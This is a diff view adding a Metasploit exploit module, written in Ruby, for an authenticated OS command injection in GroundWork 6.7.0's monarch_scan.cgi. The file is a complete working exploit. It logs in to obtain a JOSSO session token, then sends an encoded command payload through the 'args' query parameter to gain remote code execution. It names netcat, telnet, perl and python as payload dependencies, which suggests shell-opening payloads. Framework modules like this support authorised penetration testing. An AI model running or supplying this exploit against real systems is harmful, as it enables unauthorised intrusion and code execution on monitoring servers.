|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# Framework web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/framework/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Exploit::Remote |
| 11 | + Rank = ExcellentRanking |
| 12 | + |
| 13 | + HttpFingerprint = { :pattern => [ /Apache-Coyote\/1\.1/ ] } |
| 14 | + |
| 15 | + include Msf::Exploit::Remote::HttpClient |
| 16 | + |
| 17 | + def initialize(info={}) |
| 18 | + super(update_info(info, |
| 19 | + 'Name' => "GroundWork monarch_scan.cgi OS Command Injection", |
| 20 | + 'Description' => %q{ |
| 21 | + This module exploits a vulnerability found in GroundWork 6.7.0. This software |
| 22 | + is used for network, application and cloud monitoring. The vulnerability exists in |
| 23 | + the monarch_scan.cgi, where user controlled input is used in the perl qx function, |
| 24 | + which allows any remote authenticated attacker, whatever his privileges are, to |
| 25 | + inject system commands and gain arbitrary code execution. The module has been tested |
| 26 | + successfully on GroundWork 6.7.0-br287-gw1571 as distributed within the Ubuntu 10.04 |
| 27 | + based VM appliance. |
| 28 | + }, |
| 29 | + 'License' => MSF_LICENSE, |
| 30 | + 'Author' => |
| 31 | + [ |
| 32 | + 'Johannes Greil', # Vulnerability Discovery, PoC |
| 33 | + 'juan vazquez' # Metasploit module |
| 34 | + ], |
| 35 | + 'References' => |
| 36 | + [ |
| 37 | + [ 'OSVDB', '91051' ], |
| 38 | + [ 'US-CERT-VU', '345260' ], |
| 39 | + [ 'URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20130308-0_GroundWork_Monitoring_Multiple_critical_vulnerabilities_wo_poc_v10.txt' ] |
| 40 | + ], |
| 41 | + 'Arch' => ARCH_CMD, |
| 42 | + 'Payload' => |
| 43 | + { |
| 44 | + 'Space' => 8190, |
| 45 | + 'DisableNops' => true, |
| 46 | + 'Compat' => |
| 47 | + { |
| 48 | + 'PayloadType' => 'cmd' |
| 49 | + }, |
| 50 | + # Based on the default Ubuntu 10.04 VM appliance |
| 51 | + 'RequiredCmd' => 'generic telnet netcat perl python' |
| 52 | + }, |
| 53 | + 'Platform' => ['unix', 'linux'], |
| 54 | + 'Targets' => |
| 55 | + [ |
| 56 | + ['GroundWork 6.7.0', {}] |
| 57 | + ], |
| 58 | + 'Privileged' => false, |
| 59 | + 'DisclosureDate' => "Mar 8 2013", |
| 60 | + 'DefaultTarget' => 0)) |
| 61 | + |
| 62 | + register_options( |
| 63 | + [ |
| 64 | + OptString.new('USERNAME', [true, 'GroundWork Username', 'user']), |
| 65 | + OptString.new('PASSWORD', [true, 'GroundWork Password', 'user']) |
| 66 | + ], self.class) |
| 67 | + end |
| 68 | + |
| 69 | + def check |
| 70 | + res = send_request_cgi({ |
| 71 | + 'method' => 'GET', |
| 72 | + 'uri' => normalize_uri("josso", "signon", "login.do") |
| 73 | + }) |
| 74 | + |
| 75 | + if res and res.body =~ /GroundWork.*6\.7\.0/ |
| 76 | + return Exploit::CheckCode::Appears |
| 77 | + elsif res and res.body =~ /GroundWork/ |
| 78 | + return Exploit::CheckCode::Detected |
| 79 | + else |
| 80 | + return Exploit::CheckCode::Safe |
| 81 | + end |
| 82 | + end |
| 83 | + |
| 84 | + def get_josso_token |
| 85 | + res = send_request_cgi({ |
| 86 | + 'method' => 'POST', |
| 87 | + 'uri' => normalize_uri("josso", "signon", "usernamePasswordLogin.do"), |
| 88 | + 'vars_post' => { |
| 89 | + 'josso_cmd' => 'login', |
| 90 | + 'josso_username' => datastore['USERNAME'], |
| 91 | + 'josso_password' => datastore['PASSWORD'] |
| 92 | + } |
| 93 | + }) |
| 94 | + if res and res.headers['Set-Cookie'] =~ /JOSSO_SESSIONID_josso=([A-F0-9]+)/ |
| 95 | + return $1 |
| 96 | + else |
| 97 | + return nil |
| 98 | + end |
| 99 | + end |
| 100 | + |
| 101 | + def execute_command(command) |
| 102 | + http_handler = ((datastore['SSL']) ? "https" : "http") |
| 103 | + res = send_request_cgi({ |
| 104 | + 'method' => 'GET', |
| 105 | + 'uri' => normalize_uri("monarch", "monarch_scan.cgi"), |
| 106 | + 'headers' => |
| 107 | + { |
| 108 | + 'Referer' => "#{http_handler}://#{rhost}/portal/auth/portal/groundwork-monitor/auto-disc" |
| 109 | + }, |
| 110 | + 'cookie' => "JOSSO_SESSIONID=#{@josso_id}", |
| 111 | + 'query' => "args=#{rand_text_alpha(3)}&args=#{rand_text_alpha(3)}&args=#{Rex::Text.uri_encode(command + ";")}" |
| 112 | + }) |
| 113 | + return res |
| 114 | + end |
| 115 | + |
| 116 | + def exploit |
| 117 | + peer = "#{rhost}:#{rport}" |
| 118 | + |
| 119 | + print_status("#{peer} - Attempting to login...") |
| 120 | + @josso_id = get_josso_token |
| 121 | + if @josso_id.nil? |
| 122 | + fail_with(Exploit::Failure::NoAccess, "#{peer} - Unable to retrieve a JOSSO session ID") |
| 123 | + end |
| 124 | + print_good("#{peer} - Authentication successful") |
| 125 | + |
| 126 | + print_status("#{peer} - Sending malicious request...") |
| 127 | + execute_command(payload.encoded) |
| 128 | + end |
| 129 | +end |
0 commit comments